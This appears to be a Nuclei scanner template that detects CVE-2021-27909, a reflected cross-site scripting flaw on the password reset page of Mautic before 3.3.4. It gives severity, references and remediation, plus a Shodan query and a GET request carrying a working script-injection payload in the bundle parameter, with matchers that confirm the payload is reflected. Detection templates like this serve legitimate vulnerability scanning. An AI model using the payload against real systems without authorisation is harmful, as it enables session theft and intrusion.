id: CVE-2021-27909 info: name: Mautic <3.3.4 - Cross-Site Scripting author: kiransau severity: medium description: Mautic before 3.3.4 contains a cross-site scripting vulnerability on the password reset page in the bundle parameter of the URL. An attacker can inject arbitrary script, steal cookie-based authentication credentials, and/or launch other attacks. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions. remediation: | Upgrade Mautic to version 3.3.4 or later to mitigate this vulnerability. reference: - https://github.com/mautic/mautic/security/advisories/GHSA-32hw-3pvh-vcvc - https://nvd.nist.gov/vuln/detail/CVE-2021-27909 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-27909 cwe-id: CWE-79 epss-score: 0.00094 epss-percentile: 0.39181 cpe: cpe:2.3:a:acquia:mautic:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: acquia product: mautic shodan-query: title:"Mautic" tags: cve,cve2021,mautic,xss,acquia http: - method: GET path: - "{{BaseURL}}/passwordreset?bundle=';alert(document.domain);var+ok='" matchers-condition: and matchers: - type: word part: body words: - "'';alert(document.domain);var ok='" - 'mauticBasePath' condition: and - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 490a00463044022071565d0653ca589706ec60310d9dab49e798f451f7d4511c01b51238932daad602204aff378cc78d426ff4a5624a5b083b6baf8995466a60f54ed957d7b025779fc0:922c64590222798bb761d5b6d8e72950